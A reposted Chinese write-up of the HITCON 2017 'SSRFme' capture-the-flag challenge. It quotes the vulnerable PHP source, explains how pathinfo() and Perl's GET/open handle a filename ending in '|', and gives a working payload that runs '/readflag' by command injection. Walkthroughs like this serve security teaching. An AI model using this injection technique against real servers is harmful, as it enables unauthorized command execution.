[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)
2022/7/21 5:24:55
本文主要是介绍[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
进去一个代码审计:
x.x.x.x <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
还是老样子,先根据remote_addr创建一个目录:sandbox/md5()
看代码要上传两个参数,一个是url,一个是filename,先说filename,pathinfo($filename)返回一个数组给$info,数组里面有一项dirname,返回的是目录(不包括脚本名),然后再在原来创建的沙箱下再建一个目录,并进入这个目录,然后把$data写进$info["basename"]里。
再说说$data,$data是shell_exec()命令执行的返回,GET 这个格式好像是什么perl,也不太了解。
传参:
?url=file:bash -c /readflag|&filename=wuhu
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
并且将命令的执行结果作为这个文件的内容写入,根据代码逻辑,命令执行的结果除了写入该命令同名文件里,也会写到生成的沙箱的目录的文件中,地址栏访问就行了
这篇关于[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-12如何创建可引导的 ESXi USB 安装介质 (macOS, Linux, Windows)
- 2024-11-08linux的 vi编辑器中搜索关键字有哪些常用的命令和技巧?-icode9专业技术文章分享
- 2024-11-08在 Linux 的 vi 或 vim 编辑器中什么命令可以直接跳到文件的结尾?-icode9专业技术文章分享
- 2024-10-22原生鸿蒙操作系统HarmonyOS NEXT(HarmonyOS 5)正式发布
- 2024-10-18操作系统入门教程:新手必看的基本操作指南
- 2024-10-18初学者必看:操作系统入门全攻略
- 2024-10-17操作系统入门教程:轻松掌握操作系统基础知识
- 2024-09-11Linux部署Scrapy学习:入门级指南
- 2024-09-11Linux部署Scrapy:入门级指南
- 2024-08-21【Linux】分区向左扩容的方法